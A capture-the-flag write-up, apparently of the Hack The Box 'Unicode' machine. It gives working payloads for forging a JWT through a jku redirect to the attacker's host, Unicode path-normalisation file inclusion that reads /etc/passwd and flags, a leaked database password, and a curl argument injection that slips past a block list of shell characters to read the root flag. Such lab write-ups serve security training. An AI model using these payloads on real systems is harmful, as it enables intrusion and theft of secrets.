Another one BYTES the dust! 💨
Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
We only have a couple ports, let’s start with port 80. We have a couple functions, one which allows us to register:
Let’s register a user and capture the requests. Stepping through the process of registering, we see we’re redirected to a dashboard:
Looking at our cookie, we can immediately recognise this is a JWT token and likely going to be our attack point
Foothold
Using flask-unsign or jwt.io we can see what this token contains:
Inside the jwks.json file, we see an RSA key:
There’s a few interesting things to note, the jku is referenced via a directory on a http service. We can try supplying our own in order to create our own signatures. We can use mkjwk.org for this:
We copy n from the the above output and replace the n value in the original jwks.json file
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "htX3gdIyKnaIltkUDSiZEZRVADUKldy-Ypy91kQL-TUwhjxZtRA8nSLXH2QzeHnlwOF0tGrdz-jWlNVqn9R_s1DjwJRE1M9hC1JHKQe1ycXbEI0cRbu06kj2-HmRjt71sWnFbjEriEcBQAOiaT5i7Jztrx16YcyxE210PGR5QOPrPhjy12Cu5-gU3u6VEqapAQn_VlESKpDep5JRntqgO6kd-TsCJ7pPMBHFWAFzli1wqzORZrrfmvSFyNYVsqsi70ECZYmU6pzVdDP2vn8DzQpNU9Hg654pQdJbQgatT3NQn-xOEt3NeLYsIsiYmyW3ueF404lv0EEYturyShOzIw",
"e": "AQAB"
}
]
}
We can use the generate pub and priv key to sign our new token. This does need to be able to verify using the json file specified in jku. We can’t just specify our own URL, instead we can attempt RFI for this:
http://hackmedia.htb/static/../redirect/?url=10.10.16.19/jwks.json
Make sure you have a python http server running on port 80 for this. Finally we generate our jwt token over at jwt.io and use it as our auth
cookie:
We can see we get a request to our box and can access the admin panel:
We see there’s a couple PDFs on the left hand side, each are referenced by file name. We can attempt LFI however aren’t (initially successful). Thinking about the environment we’re in, we can attempt to abuse how the back-end normalizes file paths (https://jlajara.gitlab.io/web/2020/02/19/Bypass_WAF_Unicode.html):
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/passwd
The box is called unicode so this is pretty fitting. We can grab a number of files such as the nginx config:
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/nginx/nginx.conf
User own
We can actually get the user flag without a shell:
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/home/code/user.txt
Unfortunately (besides flags) this doesn’t get us any closer to root or having a shell. We do know this is an nginx site, we can grab the default sites-available file:
server{
#Change the Webroot from /home/code/coder/ to /var/www/html/
#change the user password from db.yaml
listen 80;
location / {
proxy_pass http://localhost:8000;
include /etc/nginx/proxy_params;
proxy_redirect off;
}
location /static/{
alias /home/code/coder/static/styles/;
}
}
This discloses the web root to us, as well as potential creds in the db.yaml
directory:
mysql_host: "localhost" mysql_user: "code" mysql_password: "B3stC0d3r2021@@!" mysql_db: "user"
Root own
Using sudo -l
we see we can run /usr/bin/treport
as root. This is a binary and makees things a little tricker for us:
/usr/bin/treport
We can try using it as intended and see what happens:
I attempted to grab the root flag using the download function however was blocked:
We can grab the binary using our LFI exploit by copying a version to our home directory. We can assume by the python errors generated by the 2nd option that this is a ELF compiled python binary that we can extract using:
https://github.com/extremecoders-re/pyinstxtractor
This decompiles the binary into it’s respective pyc files. The most interesting of these is treport.pyc which we can try decompile:
import os, sys
from datetime import datetime
import re
class threat_report:
def create(self):
file_name = input('Enter the filename:')
content = input('Enter the report:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
file_path = '/root/reports/' + file_name
with open(file_path, 'w') as (fd):
fd.write(content)
def list_files(self):
file_list = os.listdir('/root/reports/')
files_in_dir = ' '.join([str(elem) for elem in file_list])
print('ALL THE THREAT REPORTS:')
print(files_in_dir)
def read_file(self):
file_name = input('\nEnter the filename:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
contents = ''
file_name = '/root/reports/' + file_name
try:
with open(file_name, 'r') as (fd):
contents = fd.read()
except:
print('SOMETHING IS WRONG')
else:
print(contents)
def download(self):
now = datetime.now()
current_time = now.strftime('%H_%M_%S')
command_injection_list = ['$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']
ip = input('Enter the IP/file_name:')
res = bool(re.search('\\s', ip))
if res:
print('INVALID IP')
sys.exit(0)
if 'file' in ip or 'gopher' in ip or 'mysql' in ip:
print('INVALID URL')
sys.exit(0)
for vars in command_injection_list:
if vars in ip:
print('NOT ALLOWED')
sys.exit(0)
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)
We can see that the chars /{},.
which is convenient since these are the chars we need for our exploit. If we go to options 3 we can retrieve the contents of a report from a URL. The URL is parsed in the above script then passed to curl. We can use -K to read “config” files, our in our case the root flag. All we need to do is use the third option and pass the following string:
{-K,/root/root.txt}
The flag is returned to us as an error.